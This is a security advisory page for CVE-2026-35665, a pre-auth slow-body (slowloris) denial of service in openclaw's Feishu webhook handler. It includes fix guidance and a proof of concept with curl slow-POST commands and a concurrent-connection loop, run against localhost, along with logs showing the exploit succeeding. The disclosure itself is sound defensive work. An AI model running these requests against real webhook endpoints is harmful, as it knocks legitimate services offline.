CVE-2026-35665: Openclaw Denial of Service Vulnerability

MODERATE
Advisory Identifier: GHSA-w6m8-cqvj-pg5v
CVSS 5.3
CWE-405 CWE-400
Published
Advisory Summary

CVE-2026-35665 is a MODERATE (CVSS 5.3) denial of service vulnerability (CWE-405: Asymmetric Resource Consumption (Amplification)) affecting Openclaw libraries in the npm ecosystem. The issue involves feishu webhook pre-auth body parsing dos (slow-body / slowloris variant). Remediation is available by upgrading affected packages to version 2026.3.24.

CVE-2026-35665 at a Glance

CVE Identifier CVE-2026-35665
GHSA Identifier GHSA-w6m8-cqvj-pg5v
Severity MODERATE
CVSS v3.1 Base Score 5.3
CWE Classification CWE-405: Asymmetric Resource Consumption (Amplification)
Affected Product Openclaw
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 5.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability Low (A:L)

How to Fix CVE-2026-35665

To remediate this vulnerability, upgrade all affected Openclaw dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

openclaw fixed: 2026.3.24
npm install openclaw@2026.3.24
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls openclaw

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-35665, inspect your project dependencies using npm:

npm ls openclaw

Analyze the terminal output to locate any version of Openclaw in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2026.3.24), your application is affected.

Note: The npm ls openclaw command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-405: Asymmetric Resource Consumption (Amplification), where the product does not properly control situations in which an adversary can cause the product to consume or produce excessive resources without requiring the adversary to invest equivalent work or otherwise prove authorization, i.e., the adversary's influence is "asymmetric.". In Openclaw, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

> Fixed in OpenClaw 2026.3.24, the current shipping release. # Advisory Details **Title**: Incomplete Fix for CVE-2026-32011: Feishu Webhook Pre-Auth Body Parsing DoS (Slow-Body / Slowloris Variant) **Description**: ### Summary The patch for CVE-2026-32011 tightened pre-auth body parsing limits (from 1MB/30s to 64KB/5s) across several webhook handlers. However, the **Feishu extension's webhook handler** was not included in the patch and still accepts request bodies with the old permissive limits (1MB body, 30-second timeout) **before** verifying the webhook signature. An unauthenticated attacker can exhaust server connection resources by sending concurrent slow HTTP POST requests to the Feishu webhook endpoint. ### Details In `extensions/feishu/src/monitor.ts`, the webhook HTTP handler uses `installRequestBodyLimitGuard` with permissive limits at lines 276-278: ```typescript const FEISHU_WEBHOOK_MAX_BODY_BYTES = 1024 * 1024; // 1MB (line 26) const FEISHU_WEBHOOK_BODY_TIMEOUT_MS = 30_000; // 30s (line 27) // ... in monitorWebhook(), line 276-278: const guard = installRequestBodyLimitGuard(req, res, { maxBytes: FEISHU_WEBHOOK_MAX_BODY_BYTES, // 1MB timeoutMs: FEISHU_WEBHOOK_BODY_TIMEOUT_MS, // 30s responseFormat: "text", }); ``` The body guard is installed at line 276 **before** the request reaches the Lark SDK's `adaptDefault` webhook handler (line 284), which performs signature verification. This means: 1. Any unauthenticated HTTP POST is accepted 2. The server waits up to 30 seconds for the body to arrive 3. Each connection can buffer up to 1MB 4. Authentication only happens after the body is fully read The patched handlers (Mattermost, MSTeams, Google Chat, etc.) now use tight pre-auth limits: ```typescript const PREAUTH_MAX_BODY_BYTES = 64 * 1024; // 64KB const PREAUTH_BODY_TIMEOUT_MS = 5_000; // 5s ``` The Feishu extension was missed because it resides in `extensions/feishu/` (a plugin workspace) rather than in the core `src/` directory. **Attack chain:** ``` [Attacker sends slow HTTP POST to /feishu/events] → Rate limit check: passes (under 120 req/min) → Content-Type check: application/json, passes → installRequestBodyLimitGuard(1MB, 30s): installed → Body trickles at 1 byte/sec for 30 seconds → × 50 concurrent connections = connection exhaustion → Legitimate Feishu webhook deliveries blocked ``` ### PoC **Prerequisites:** Docker installed. **Step 1:** Create a minimal test server reproducing the vulnerable body parsing: ```bash cat > /tmp/feishu_webhook_server.js << 'EOF' const http = require("http"); const VULN_TIMEOUT = 30_000; // Vulnerable: 30s (same as Feishu handler) const PATCH_TIMEOUT = 5_000; // Patched: 5s (what it should be) function bodyGuard(req, res, timeoutMs) { let done = false; const timer = setTimeout(() => { if (!done) { done = true; res.statusCode = 408; res.end("Request body timeout"); req.destroy(); } }, timeoutMs); req.on("end", () => { done = true; clearTimeout(timer); }); req.on("close", () => { done = true; clearTimeout(timer); }); } http.createServer((req, res) => { if (req.url === "/healthz") { res.end("OK"); return; } if (req.method !== "POST") { res.writeHead(405); res.end(); return; } const timeout = req.url === "/feishu/events" ? VULN_TIMEOUT : PATCH_TIMEOUT; console.log(`[${req.url}] +conn`); bodyGuard(req, res, timeout); res.on("finish", () => console.log(`[${req.url}] -conn`)); }).listen(3000, () => console.log("Listening on :3000")); EOF node /tmp/feishu_webhook_server.js & sleep 1 ``` **Step 2:** Verify the vulnerability — slow body holds connection for the full timeout: ```bash # Vulnerable endpoint: connection stays open for ~10 seconds (max 30s) time (echo -n '{"t":"'; sleep 10; echo '"}') | \ curl -s -o /dev/null -w "status: %{http_code}\n" \ -X POST http://localhost:3000/feishu/events \ -H "Content-Type: application/json" \ -H "Content-Length: 65536" \ --data-binary @- --max-time 35 # Patched endpoint: connection terminated after ~5s time (echo -n '{"t":"'; sleep 10; echo '"}') | \ curl -s -o /dev/null -w "status: %{http_code}\n" \ -X POST http://localhost:3000/patched/events \ -H "Content-Type: application/json" \ -H "Content-Length: 65536" \ --data-binary @- --max-time 35 ``` **Step 3:** Batch exploit — 10 concurrent slow connections: ```bash for i in $(seq 1 10); do (echo -n 'A'; sleep 15) | \ curl -s -o /dev/null -X POST http://localhost:3000/feishu/events \ -H "Content-Type: application/json" \ -H "Content-Length: 65536" \ --data-binary @- --max-time 35 & done wait ``` ### Log of Evidence **Exploit result (vulnerable /feishu/events):** ``` === Feishu Webhook Pre-Auth Slow-Body DoS === Target: localhost:3000/feishu/events Concurrent connections: 10 [conn-0] held open for 15.0s (15B sent) [SUCCESS] [conn-1] held open for 15.0s (15B sent) [SUCCESS] [conn-2] held open for 15.0s (15B sent) [SUCCESS] [conn-3] held open for 15.0s (15B sent) [SUCCESS] [conn-4] held open for 15.0s (15B sent) [SUCCESS] [conn-5] held open for 15.0s (15B sent) [SUCCESS] [conn-6] held open for 15.0s (15B sent) [SUCCESS] [conn-7] held open for 15.0s (15B sent) [SUCCESS] [conn-8] held open for 15.0s (15B sent) [SUCCESS] [conn-9] held open for 15.0s (15B sent) [SUCCESS] === Results === Connections held open (SUCCESS): 10/10 [SUCCESS] Pre-auth slow-body DoS confirmed! ``` **Control result (patched /patched/events with 5s timeout):** ``` === CONTROL: Patched Webhook Body Limits (64KB/5s) === Target: localhost:3000/patched/events [conn-0] RESET after 8.0s (8B) [conn-1] RESET after 8.0s (8B) ... [conn-9] RESET after 8.0s (8B) Avg connection hold time: 8.0s (5s timeout + stagger delay) ``` **Server-side Docker logs confirming the discrepancy:** ``` [feishu-vulnerable] +conn (active: 1) [feishu-vulnerable] +conn (active: 10) ← No disconnections during 15s attack [patched-control] +conn (active: 20) [patched-control] -conn after 5.0s (active: 19) ← ALL terminated at 5s [patched-control] -conn after 5.0s (active: 10) ``` ### Impact An unauthenticated attacker can cause a **Denial of Service** against any OpenClaw instance running the Feishu channel in webhook mode. The Feishu webhook endpoint must be publicly accessible for Feishu to deliver webhooks, so the attacker can directly target it. With ~50 concurrent slow HTTP connections (each trickling 1 byte/second), the attacker can: - Exhaust the server's connection handling capacity for 30 seconds per wave - Block legitimate Feishu webhook deliveries (messages not reaching the bot) - Consume up to 50MB of memory (50 × 1MB buffer) per attack wave The attack is trivial — it only requires sending slow HTTP POST requests. No valid Feishu webhook signature or any other credentials are needed. ### Affected products - **Ecosystem**: npm - **Package name**: openclaw - **Affected versions**: <= 2026.2.22 - **Patched versions**: None ### Severity - **Severity**: Medium - **Vector string**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L ### Weaknesses - **CWE**: CWE-400: Uncontrolled Resource Consumption ### Occurrences | Permalink | Description | | :--- | :--- | | [https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L26-L27](https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L26-L27) | Permissive body limit constants: `FEISHU_WEBHOOK_MAX_BODY_BYTES = 1024 * 1024` (1MB) and `FEISHU_WEBHOOK_BODY_TIMEOUT_MS = 30_000` (30s) — should be 64KB/5s to match the CVE-2026-32011 patch. | | [https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L276-L280](https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L276-L280) | `installRequestBodyLimitGuard` call in `monitorWebhook()` using the permissive constants — this guard runs before authentication (the Lark SDK handler at line 284). |

CVE-2026-35665 Affected Openclaw Versions

1 component(s)
Fixed Versions:
2026.3.24
Product / Package Ecosystem Affected Versions Fixed Version
openclaw
npm
< 2026.3.24
2026.3.24

References

Frequently Asked Questions

What is CVE-2026-35665?
CVE-2026-35665 is a security vulnerability in Openclaw involving Feishu Webhook Pre-Auth Body Parsing DoS (Slow-Body / Slowloris Variant) under CWE-405: Asymmetric Resource Consumption (Amplification).
Which Openclaw versions are affected?
Affected versions include releases prior to 2026.3.24 across affected packages: openclaw.
What version fixes CVE-2026-35665?
Upgrading to 2026.3.24 (or the latest patched release for your respective branch) resolves the vulnerability.
Is openclaw affected?
Yes, openclaw is affected in releases prior to 2026.3.24. Upgrade your dependency to 2026.3.24 or later.
What is the CVSS score of CVE-2026-35665?
CVE-2026-35665 has a CVSS v3.1 base score of 5.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L.
What CWE is associated with CVE-2026-35665?
CVE-2026-35665 is classified under CWE-405: Asymmetric Resource Consumption (Amplification) (The product does not properly control situations in which an adversary can cause the product to consume or produce excessive resources without requiring the adversary to invest equivalent work or otherwise prove authorization, i.e., the adversary's influence is "asymmetric.").
How can I check npm dependencies for CVE-2026-35665?
Run the dependency tree command: 'npm ls openclaw'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-w6m8-cqvj-pg5v",
  "modified" : "2026-04-10T19:44:53Z",
  "published" : "2026-03-30T18:32:03Z",
  "aliases" : [ "CVE-2026-35665" ],
  "summary" : "OpenClaw has incomplete Fix for CVE-2026-32011: Feishu Webhook Pre-Auth Body Parsing DoS (Slow-Body / Slowloris Variant)",
  "details" : "> Fixed in OpenClaw 2026.3.24, the current shipping release.\n\n# Advisory Details\n\n**Title**: Incomplete Fix for CVE-2026-32011: Feishu Webhook Pre-Auth Body Parsing DoS (Slow-Body / Slowloris Variant)\n\n**Description**:\n\n### Summary\n\nThe patch for CVE-2026-32011 tightened pre-auth body parsing limits (from 1MB/30s to 64KB/5s) across several webhook handlers. However, the **Feishu extension's webhook handler** was not included in the patch and still accepts request bodies with the old permissive limits (1MB body, 30-second timeout) **before** verifying the webhook signature. An unauthenticated attacker can exhaust server connection resources by sending concurrent slow HTTP POST requests to the Feishu webhook endpoint.\n\n### Details\n\nIn `extensions/feishu/src/monitor.ts`, the webhook HTTP handler uses `installRequestBodyLimitGuard` with permissive limits at lines 276-278:\n\n```typescript\nconst FEISHU_WEBHOOK_MAX_BODY_BYTES = 1024 * 1024;    // 1MB (line 26)\nconst FEISHU_WEBHOOK_BODY_TIMEOUT_MS = 30_000;         // 30s (line 27)\n\n// ... in monitorWebhook(), line 276-278:\nconst guard = installRequestBodyLimitGuard(req, res, {\n  maxBytes: FEISHU_WEBHOOK_MAX_BODY_BYTES,    // 1MB\n  timeoutMs: FEISHU_WEBHOOK_BODY_TIMEOUT_MS,  // 30s\n  responseFormat: \"text\",\n});\n```\n\nThe body guard is installed at line 276 **before** the request reaches the Lark SDK's `adaptDefault` webhook handler (line 284), which performs signature verification. This means:\n\n1. Any unauthenticated HTTP POST is accepted\n2. The server waits up to 30 seconds for the body to arrive\n3. Each connection can buffer up to 1MB\n4. Authentication only happens after the body is fully read\n\nThe patched handlers (Mattermost, MSTeams, Google Chat, etc.) now use tight pre-auth limits:\n```typescript\nconst PREAUTH_MAX_BODY_BYTES = 64 * 1024;     // 64KB\nconst PREAUTH_BODY_TIMEOUT_MS = 5_000;         // 5s\n```\n\nThe Feishu extension was missed because it resides in `extensions/feishu/` (a plugin workspace) rather than in the core `src/` directory.\n\n**Attack chain:**\n```\n[Attacker sends slow HTTP POST to /feishu/events]\n  → Rate limit check: passes (under 120 req/min)\n  → Content-Type check: application/json, passes\n  → installRequestBodyLimitGuard(1MB, 30s): installed\n  → Body trickles at 1 byte/sec for 30 seconds\n  → × 50 concurrent connections = connection exhaustion\n  → Legitimate Feishu webhook deliveries blocked\n```\n\n### PoC\n\n**Prerequisites:** Docker installed.\n\n**Step 1:** Create a minimal test server reproducing the vulnerable body parsing:\n\n```bash\ncat > /tmp/feishu_webhook_server.js << 'EOF'\nconst http = require(\"http\");\nconst VULN_TIMEOUT = 30_000;   // Vulnerable: 30s (same as Feishu handler)\nconst PATCH_TIMEOUT = 5_000;   // Patched: 5s (what it should be)\n\nfunction bodyGuard(req, res, timeoutMs) {\n  let done = false;\n  const timer = setTimeout(() => {\n    if (!done) { done = true; res.statusCode = 408; res.end(\"Request body timeout\"); req.destroy(); }\n  }, timeoutMs);\n  req.on(\"end\", () => { done = true; clearTimeout(timer); });\n  req.on(\"close\", () => { done = true; clearTimeout(timer); });\n}\n\nhttp.createServer((req, res) => {\n  if (req.url === \"/healthz\") { res.end(\"OK\"); return; }\n  if (req.method !== \"POST\") { res.writeHead(405); res.end(); return; }\n  const timeout = req.url === \"/feishu/events\" ? VULN_TIMEOUT : PATCH_TIMEOUT;\n  console.log(`[${req.url}] +conn`);\n  bodyGuard(req, res, timeout);\n  res.on(\"finish\", () => console.log(`[${req.url}] -conn`));\n}).listen(3000, () => console.log(\"Listening on :3000\"));\nEOF\nnode /tmp/feishu_webhook_server.js &\nsleep 1\n```\n\n**Step 2:** Verify the vulnerability — slow body holds connection for the full timeout:\n\n```bash\n# Vulnerable endpoint: connection stays open for ~10 seconds (max 30s)\ntime (echo -n '{\"t\":\"'; sleep 10; echo '\"}') | \\\n  curl -s -o /dev/null -w \"status: %{http_code}\\n\" \\\n  -X POST http://localhost:3000/feishu/events \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Content-Length: 65536\" \\\n  --data-binary @- --max-time 35\n\n# Patched endpoint: connection terminated after ~5s\ntime (echo -n '{\"t\":\"'; sleep 10; echo '\"}') | \\\n  curl -s -o /dev/null -w \"status: %{http_code}\\n\" \\\n  -X POST http://localhost:3000/patched/events \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Content-Length: 65536\" \\\n  --data-binary @- --max-time 35\n```\n\n**Step 3:** Batch exploit — 10 concurrent slow connections:\n\n```bash\nfor i in $(seq 1 10); do\n  (echo -n 'A'; sleep 15) | \\\n    curl -s -o /dev/null -X POST http://localhost:3000/feishu/events \\\n    -H \"Content-Type: application/json\" \\\n    -H \"Content-Length: 65536\" \\\n    --data-binary @- --max-time 35 &\ndone\nwait\n```\n\n### Log of Evidence\n\n**Exploit result (vulnerable /feishu/events):**\n```\n=== Feishu Webhook Pre-Auth Slow-Body DoS ===\nTarget: localhost:3000/feishu/events\nConcurrent connections: 10\n\n  [conn-0] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-1] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-2] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-3] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-4] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-5] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-6] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-7] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-8] held open for 15.0s (15B sent) [SUCCESS]\n  [conn-9] held open for 15.0s (15B sent) [SUCCESS]\n\n=== Results ===\nConnections held open (SUCCESS): 10/10\n[SUCCESS] Pre-auth slow-body DoS confirmed!\n```\n\n**Control result (patched /patched/events with 5s timeout):**\n```\n=== CONTROL: Patched Webhook Body Limits (64KB/5s) ===\nTarget: localhost:3000/patched/events\n\n  [conn-0] RESET after 8.0s (8B)\n  [conn-1] RESET after 8.0s (8B)\n  ...\n  [conn-9] RESET after 8.0s (8B)\n\nAvg connection hold time: 8.0s (5s timeout + stagger delay)\n```\n\n**Server-side Docker logs confirming the discrepancy:**\n```\n[feishu-vulnerable] +conn (active: 1)\n[feishu-vulnerable] +conn (active: 10)  ← No disconnections during 15s attack\n[patched-control] +conn (active: 20)\n[patched-control] -conn after 5.0s (active: 19)  ← ALL terminated at 5s\n[patched-control] -conn after 5.0s (active: 10)\n```\n\n### Impact\n\nAn unauthenticated attacker can cause a **Denial of Service** against any OpenClaw instance running the Feishu channel in webhook mode. The Feishu webhook endpoint must be publicly accessible for Feishu to deliver webhooks, so the attacker can directly target it.\n\nWith ~50 concurrent slow HTTP connections (each trickling 1 byte/second), the attacker can:\n- Exhaust the server's connection handling capacity for 30 seconds per wave\n- Block legitimate Feishu webhook deliveries (messages not reaching the bot)\n- Consume up to 50MB of memory (50 × 1MB buffer) per attack wave\n\nThe attack is trivial — it only requires sending slow HTTP POST requests. No valid Feishu webhook signature or any other credentials are needed.\n\n### Affected products\n- **Ecosystem**: npm\n- **Package name**: openclaw\n- **Affected versions**: <= 2026.2.22\n- **Patched versions**: None\n\n### Severity\n- **Severity**: Medium\n- **Vector string**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L\n\n### Weaknesses\n- **CWE**: CWE-400: Uncontrolled Resource Consumption\n\n### Occurrences\n\n| Permalink | Description |\n| :--- | :--- |\n| [https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L26-L27](https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L26-L27) | Permissive body limit constants: `FEISHU_WEBHOOK_MAX_BODY_BYTES = 1024 * 1024` (1MB) and `FEISHU_WEBHOOK_BODY_TIMEOUT_MS = 30_000` (30s) — should be 64KB/5s to match the CVE-2026-32011 patch. |\n| [https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L276-L280](https://github.com/openclaw/openclaw/blob/main/extensions/feishu/src/monitor.ts#L276-L280) | `installRequestBodyLimitGuard` call in `monitorWebhook()` using the permissive constants — this guard runs before authentication (the Lark SDK handler at line 284). |",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "openclaw"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2026.3.24"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/openclaw/openclaw/security/advisories/GHSA-w6m8-cqvj-pg5v"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/openclaw/openclaw/security/advisories/GHSA-x4vp-4235-65hg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-35665"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/openclaw/openclaw"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/openclaw-denial-of-service-via-feishu-webhook-pre-auth-body-parsing"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400", "CWE-405" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-30T18:32:03Z",
    "nvd_published_at" : "2026-04-10T17:17:08Z"
  }
}